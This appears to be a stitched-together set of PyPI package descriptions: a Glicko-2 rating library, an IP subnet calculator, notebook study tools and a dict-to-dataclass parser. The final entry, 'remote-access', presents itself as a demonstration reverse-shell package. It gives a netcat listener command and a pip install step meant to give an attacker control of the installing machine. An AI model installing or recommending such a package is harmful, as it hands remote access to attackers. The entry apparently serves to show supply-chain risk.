semvec/pypi-packages huggingface dataset:
glicko2 2.1.0
Python implementation of glicko2
Requires Python: >=3.7

glicko2
=======

This is my fork of lmeyerov's update to Ryan Kirkman's pyglicko2
[![Build Status](https://travis-ci.org/deepy/glicko2.png?branch=master)](https://travis-ci.org/deepy/glicko2)
pycidr 0.1.1
A simple IP subnetting calculator
Requires Python: >=3.10,<4.0

# ip_calculator
[![CI](https://github.com/jmillana/pycidr/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/jmillana/pycidr/actions/workflows/ci.yml)

A cli utility to get detailed IP information
         
         IP Address Information for: 172.14.15.16/21    
|||
|---------------------|-------------------------------------|
| Class               | B                                   |
| CIDR block          | /21                                 |
| IP Address          | 172.14.15.16                        |
| Network Mask        | 255.255.248.0                       |
| Network ID          | 172.14.8.0                          |
| Broadcast Address   | 172.14.15.255                       |
| Total Addresses     | 2048                                |
| Usable hosts        | 2046                                |
| Binary IP           | 10101100.00001110.00001111.00010000 |
| Binary Network Mask | 11111111.11111111.11111000.00000000 |
nb-study-tools 0.0.1a1
Tools for studying notebooks
Requires Python: >=3.12

# nb_study_tools

[![CI Testing](https://github.com/DylanLukes/nb-study-tools/actions/workflows/test.yml/badge.svg)](https://github.com/DylanLukes/nb-study-tools/actions/workflows/test.yml)
[![PyPI - Version](https://img.shields.io/pypi/v/nb-study-tools.svg)](https://pypi.org/project/nb-study-tools)
[![PyPI - Python Version](https://img.shields.io/pypi/pyversions/nb-study-tools.svg)](https://pypi.org/project/nb-study-tools)

-----

**Table of Contents**

- [Installation](#installation)
- [License](#license)

## Installation

```console
pip install nb-study-tools
```

## Installation (Local)

```console
hatch 
```

## License

`nb-study-tools` is distributed under the terms of the [BSD-3-Clause](https://spdx.org/licenses/BSD-3-Clause.html) license.
dict2any 0.0.2
dict to/from dataclasses
Requires Python: >=3.12

# dict2any

[![PyPI - Version](https://img.shields.io/pypi/v/dict2any.svg)](https://pypi.org/project/dict2any)
[![PyPI - Python Version](https://img.shields.io/pypi/pyversions/dict2any.svg)](https://pypi.org/project/dict2any)

---

Problem: You need to initialize a nested data structure (such as a dataclass containing another dataclass)

Solution: use `dict2any.parse(MyClass, data)` and it will recursively build up your data structure using type hints.

# Usage

```python
from dataclasses import dataclass
from dict2any import parse

@dataclass
class Package:
  name: str

@dataclass
class Config:
  packages: list[Package]

config = parse(Config, {"packages": [{"name": "wow"}, {"name": "amazing"}]})
print(config)
# Config(packages=[Package(name='wow'), Package(name='amazing')])
```

# Advanced usage

## Custom Parsing

The `parsers`argument lets you pass in additional parsers, to further customize or extend the functionality.

To do so, you must implement the [Parser](./dict2any/parsers/parser.py) protocol. There are two methods: `can_parse`, and `parse` which you should implement. Take a look at any of the [builtin parsers](./dict2any/parsers/) for inspiration

### Implementing can_parse

The first parser which returns `True` to `can_parse` is the one that wins, and will parse that data type. Instead of a strict ordering (e.g try the DictParser, then the ListParser, etc etc.), the algorithm works in stages. It is expected that only one parser will match for a data type for a given stage. The stages are as follows:

- Override: This stage is checked first. No builtin parsers use this stage. Instead, it's an opportunity for any custom parsers to "win" and be the one chosen to parse a data type
- Exact: This parser knows how to parse this exact data type. For example, a certain class, or when an object `is` a certain type
- Fallback: The parser is a little more generic, and handles subclasses or other coerceable classes.
- LastChance: Generically try to handle all classes

For example, the [DictParser](./dict2any/parsers/dict.py) can_parse the following types in `Stage.Exact`:

- dict
- OrderedDict
- dict[str, str]

and it can additionally parse the following types in `Stage.Fallback`:

- TypedDict
- UserDict
- class MyDict(dict)
- Any class which implements collections.abc.Mapping or collections.abc.MutableMapping

## Alternative solutions

- [pydantic](https://pypi.org/project/pydantic/) (tons of features)
- [dataclass-wizard](https://pypi.org/project/dataclass-wizard/) (only for dataclasses)
remote-access 0.0.3
To Show the vulnerability of the system
Keywords: python,vulnerability,remoteaccess,sockets

# Explanation:

This is Simple Python Reverse Shell module.
It is show how one can write a exploit and upload a malicious code to pyorg.
If installed how the attacker can get over your machine.

1. First Listen on 1234 port with netcat
`nc -lvp 1234`

2. Install the package 
`pip install pip-remote-access`

#### Demo :
<a href=https://youtu.be/NOoJItXU9ps>
<img src="https://media4.giphy.com/media/GlXNuhLEjIUTAfIVpC/giphy.gif?cid=ecf05e47v0qmxkcev5dyurr35agj868z9j9nt3oglw2ed0k3&rid=giphy.gif&ct=s" width="100" height="50"/>
</a>